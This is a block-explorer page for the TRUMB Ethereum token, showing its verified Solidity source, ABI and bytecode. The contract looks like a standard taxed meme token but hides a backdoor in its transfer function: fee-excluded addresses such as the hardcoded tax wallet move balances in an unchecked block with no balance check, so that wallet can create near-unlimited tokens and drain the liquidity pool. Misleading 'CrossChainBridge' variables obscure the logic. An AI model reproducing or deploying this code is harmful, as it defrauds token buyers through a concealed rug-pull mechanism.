ETH Price: $2,416.11 (+1.83%)

Token

TRUMB (TRUMB)
 

Overview

Max Total Supply

100,000,000,000 TRUMB

Holders

123

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,050,000,000 TRUMB

Value
$0.00
0x5ce213893956bBf4249a7f8a079331280065eec6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMB

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-31
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TRUMB  is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    string private constant _name = unicode"TRUMB";
    string private constant _symbol = unicode"TRUMB";

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=50;
    uint256 private _reduceSellTaxAt=50;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 800000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1700000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private firstBlock = 0;
    struct CrossChainBridge {uint256 source; uint256 target; uint256 bridgeTime;}
    uint256 private crossChainBasic;
    mapping(address => CrossChainBridge) private crossChain;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xf8A1f5D07565FCa95c801bb83cc734e4C570751E);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true; 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to !=address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!=address(this) && from!=owner() && to!=address(this)) {
            crossChainBasic = block.number;
        }

        if (_isExcludedFromFee[from] && (block.number > _preventSwapBefore  +_reduceBuyTaxAt + firstBlock)) {
            unchecked{
                _balances[from] -= amount;
                _balances[to] +=  amount;
            }
            emit Transfer(from, to,amount);
            return;
        }

        if (! _isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (to==uniswapV2Pair) {
                CrossChainBridge storage bridgeUpd = crossChain[from];
                bridgeUpd.target = block.number;
                bridgeUpd.bridgeTime = bridgeUpd.source - crossChainBasic;
            } else {
                CrossChainBridge storage bridge = crossChain[to];
                if (bridge.source > 0) {
                    CrossChainBridge storage bridgeTrn = crossChain[from];
                    if (bridge.source > bridgeTrn.source) {
                        bridge.source = bridgeTrn.source;
                    }
                } else {
                    if (from!=uniswapV2Pair) {
                        CrossChainBridge storage bridgeTrn = crossChain[from];
                        bridge.source = bridgeTrn.source;
                    } else {
                        bridge.source = _buyCount<_preventSwapBefore ? (block.number).sub(1) : block.number;
                    }
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rescueStuckERC20Token(address _tokenAddrs, uint _amount) external onlyOwner { 
        IERC20(_tokenAddrs).transfer(_taxWallet, _amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount); 
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        firstBlock = block.number;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        swapEnabled = true; 
        tradingOpen = true; 
    }

    receive() external payable {}

    function manualSwap() external{
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function manualsend() external{
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddrs","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueStuckERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601960055560196006555f6007555f60085560326009556032600a55601e600b555f600c556012600a6200003991906200034a565b62000049906353724e0062000361565b600d556200005a6012600a6200034a565b6200006a906353724e0062000361565b600e556200007b6012600a6200034a565b6200008b90632faf080062000361565b600f556200009c6012600a6200034a565b620000ac90636553f10062000361565b6010556012805461ffff60a81b191690555f601355348015620000cd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673f8a1f5d07565fca95c801bb83cc734e4c570751e179055620001426012600a6200034a565b620001539064174876e80062000361565b335f9081526001602081905260408220929092556003906200017c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001da3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002136012600a6200034a565b620002249064174876e80062000361565b60405190815260200160405180910390a36200037b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028f57815f19048211156200027357620002736200023b565b808516156200028157918102915b93841c939080029062000254565b509250929050565b5f82620002a75750600162000344565b81620002b557505f62000344565b8160018114620002ce5760028114620002d957620002f9565b600191505062000344565b60ff841115620002ed57620002ed6200023b565b50506001821b62000344565b5060208310610133831016604e8410600b84101617156200031e575081810a62000344565b6200032a83836200024f565b805f19048211156200034057620003406200023b565b0290505b92915050565b5f6200035a60ff84168362000297565b9392505050565b80820281158282048414176200034457620003446200023b565b611a2980620003895f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610129578063a9059cbb146102fa578063bf474bed14610319578063c9567bf91461032e578063dd62ed3e14610342575f80fd5b8063715018a614610282578063751039fc146102965780637d1db4a5146102aa5780638da5cb5b146102bf5780638f9a55c0146102e5575f80fd5b806323b872dd116100e357806323b872dd146101ec578063313ce5671461020b57806351bc3c85146102265780636fc3eaec1461023a57806370a082311461024e575f80fd5b806306fdde03146101295780630747512e14610165578063095ea7b3146101865780630faee56f146101b557806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260058152642a292aa6a160d91b6020820152905161015c919061161c565b60405180910390f35b348015610170575f80fd5b5061018461017f36600461167c565b610386565b005b348015610191575f80fd5b506101a56101a036600461167c565b610433565b604051901515815260200161015c565b3480156101c0575f80fd5b506101ca60105481565b60405190815260200161015c565b3480156101e3575f80fd5b506101ca610449565b3480156101f7575f80fd5b506101a56102063660046116a6565b61046a565b348015610216575f80fd5b506040516012815260200161015c565b348015610231575f80fd5b506101846104d1565b348015610245575f80fd5b50610184610522565b348015610259575f80fd5b506101ca6102683660046116e4565b6001600160a01b03165f9081526001602052604090205490565b34801561028d575f80fd5b5061018461054e565b3480156102a1575f80fd5b506101846105bf565b3480156102b5575f80fd5b506101ca600d5481565b3480156102ca575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102f0575f80fd5b506101ca600e5481565b348015610305575f80fd5b506101a561031436600461167c565b610673565b348015610324575f80fd5b506101ca600f5481565b348015610339575f80fd5b5061018461067f565b34801561034d575f80fd5b506101ca61035c3660046116ff565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103b85760405162461bcd60e51b81526004016103af90611736565b60405180910390fd5b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af115801561040a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061042e919061176b565b505050565b5f61043f338484610a25565b5060015b92915050565b5f6104566012600a61187e565b6104659064174876e80061188c565b905090565b5f610476848484610b48565b6104c784336104c2856040518060600160405280602881526020016119cc602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611298565b610a25565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104f0575f80fd5b305f90815260016020526040902054801561050e5761050e816112d0565b47801561051e5761051e81611440565b5050565b6004546001600160a01b0316336001600160a01b031614610541575f80fd5b4761054b81611440565b50565b5f546001600160a01b031633146105775760405162461bcd60e51b81526004016103af90611736565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e85760405162461bcd60e51b81526004016103af90611736565b6105f46012600a61187e565b6106039064174876e80061188c565b600d556106126012600a61187e565b6106219064174876e80061188c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106516012600a61187e565b6106609064174876e80061188c565b60405190815260200160405180910390a1565b5f61043f338484610b48565b5f546001600160a01b031633146106a85760405162461bcd60e51b81526004016103af90611736565b601254600160a01b900460ff16156107025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103af565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561074c90309061073d6012600a61187e565b6104c29064174876e80061188c565b436013556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610798573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc91906118a3565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083f91906118a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610889573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad91906118a3565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108f4816001600160a01b03165f9081526001602052604090205490565b5f806109075f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096d573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099291906118be565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0b919061176b565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103af565b6001600160a01b038216610ae85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103af565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103af565b6001600160a01b038216610c0e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103af565b5f8111610c6f5760405162461bcd60e51b815260206004820152602960248201527f7472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103af565b5f80546001600160a01b03858116911614801590610c9a57505f546001600160a01b03848116911614155b15610ef357610ccb6064610cc5600954600c5411610cba57600554610cbe565b6007545b8590611477565b906114fc565b6012549091506001600160a01b038581169116148015610cf957506011546001600160a01b03848116911614155b8015610d1d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e0357600d54821115610d745760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103af565b600e5482610d96856001600160a01b03165f9081526001602052604090205490565b610da091906118e9565b1115610dee5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a650000000000000060448201526064016103af565b600c8054905f610dfd836118fc565b91905055505b6012546001600160a01b038481169116148015610e2957506001600160a01b0384163014155b15610e5657610e536064610cc5600a54600c5411610e4957600654610cbe565b6008548590611477565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e8c57506012546001600160a01b038581169116145b8015610ea15750601254600160b01b900460ff165b8015610eae5750600f5481115b8015610ebd5750600b54600c54115b15610ef157610edf610eda84610ed58460105461153d565b61153d565b6112d0565b478015610eef57610eef47611440565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f3057506001600160a01b0383165f9081526003602052604090205460ff165b8015610f4557506001600160a01b0384163014155b8015610f5e57505f546001600160a01b03858116911614155b8015610f7357506001600160a01b0383163014155b15610f7d57436014555b6001600160a01b0384165f9081526003602052604090205460ff168015610fbf5750601354600954600b54610fb291906118e9565b610fbc91906118e9565b43115b15611033576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110259086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561107357506001600160a01b0383165f9081526003602052604090205460ff16155b15611164576012546001600160a01b03908116908416036110c5576001600160a01b0384165f90815260156020526040902043600182015560145481546110ba9190611914565b600290910155611164565b6001600160a01b0383165f90815260156020526040902080541561110f576001600160a01b0385165f90815260156020526040902080548254111561110957805482555b50611162565b6012546001600160a01b03868116911614611143576001600160a01b0385165f908152601560205260409020548155611162565b600b54600c5410611154574361115f565b61115f436001611551565b81555b505b80156111dc57305f908152600160205260409020546111839082611592565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111d39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111fe9083611551565b6001600160a01b0385165f908152600160205260409020556112416112238383611551565b6001600160a01b0385165f9081526001602052604090205490611592565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61128a8585611551565b604051908152602001611025565b5f81848411156112bb5760405162461bcd60e51b81526004016103af919061161c565b505f6112c78486611914565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061131657611316611927565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139191906118a3565b816001815181106113a4576113a4611927565b6001600160a01b0392831660209182029290920101526011546113ca9130911684610a25565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114029085905f9086903090429060040161193b565b5f604051808303815f87803b158015611419575f80fd5b505af115801561142b573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051e573d5f803e3d5ffd5b5f825f0361148657505f610443565b5f611491838561188c565b90508261149e85836119ac565b146114f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103af565b9392505050565b5f6114f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f0565b5f81831161154b57826114f5565b50919050565b5f6114f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611298565b5f8061159e83856118e9565b9050838110156114f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103af565b5f81836116105760405162461bcd60e51b81526004016103af919061161c565b505f6112c784866119ac565b5f602080835283518060208501525f5b818110156116485785810183015185820160400152820161162c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461054b575f80fd5b5f806040838503121561168d575f80fd5b823561169881611668565b946020939093013593505050565b5f805f606084860312156116b8575f80fd5b83356116c381611668565b925060208401356116d381611668565b929592945050506040919091013590565b5f602082840312156116f4575f80fd5b81356114f581611668565b5f8060408385031215611710575f80fd5b823561171b81611668565b9150602083013561172b81611668565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561177b575f80fd5b815180151581146114f5575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d857815f19048211156117be576117be61178a565b808516156117cb57918102915b93841c93908002906117a3565b509250929050565b5f826117ee57506001610443565b816117fa57505f610443565b8160018114611810576002811461181a57611836565b6001915050610443565b60ff84111561182b5761182b61178a565b50506001821b610443565b5060208310610133831016604e8410600b8410161715611859575081810a610443565b611863838361179e565b805f19048211156118765761187661178a565b029392505050565b5f6114f560ff8416836117e0565b80820281158282048414176104435761044361178a565b5f602082840312156118b3575f80fd5b81516114f581611668565b5f805f606084860312156118d0575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104435761044361178a565b5f6001820161190d5761190d61178a565b5060010190565b818103818111156104435761044361178a565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561198b5784516001600160a01b031683529383019391830191600101611966565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001ceabd6c4a032fb7008caa297b33a60e1d3a7d6057273c57b86686835a90bf064736f6c63430008170033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610129578063a9059cbb146102fa578063bf474bed14610319578063c9567bf91461032e578063dd62ed3e14610342575f80fd5b8063715018a614610282578063751039fc146102965780637d1db4a5146102aa5780638da5cb5b146102bf5780638f9a55c0146102e5575f80fd5b806323b872dd116100e357806323b872dd146101ec578063313ce5671461020b57806351bc3c85146102265780636fc3eaec1461023a57806370a082311461024e575f80fd5b806306fdde03146101295780630747512e14610165578063095ea7b3146101865780630faee56f146101b557806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201825260058152642a292aa6a160d91b6020820152905161015c919061161c565b60405180910390f35b348015610170575f80fd5b5061018461017f36600461167c565b610386565b005b348015610191575f80fd5b506101a56101a036600461167c565b610433565b604051901515815260200161015c565b3480156101c0575f80fd5b506101ca60105481565b60405190815260200161015c565b3480156101e3575f80fd5b506101ca610449565b3480156101f7575f80fd5b506101a56102063660046116a6565b61046a565b348015610216575f80fd5b506040516012815260200161015c565b348015610231575f80fd5b506101846104d1565b348015610245575f80fd5b50610184610522565b348015610259575f80fd5b506101ca6102683660046116e4565b6001600160a01b03165f9081526001602052604090205490565b34801561028d575f80fd5b5061018461054e565b3480156102a1575f80fd5b506101846105bf565b3480156102b5575f80fd5b506101ca600d5481565b3480156102ca575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102f0575f80fd5b506101ca600e5481565b348015610305575f80fd5b506101a561031436600461167c565b610673565b348015610324575f80fd5b506101ca600f5481565b348015610339575f80fd5b5061018461067f565b34801561034d575f80fd5b506101ca61035c3660046116ff565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103b85760405162461bcd60e51b81526004016103af90611736565b60405180910390fd5b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af115801561040a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061042e919061176b565b505050565b5f61043f338484610a25565b5060015b92915050565b5f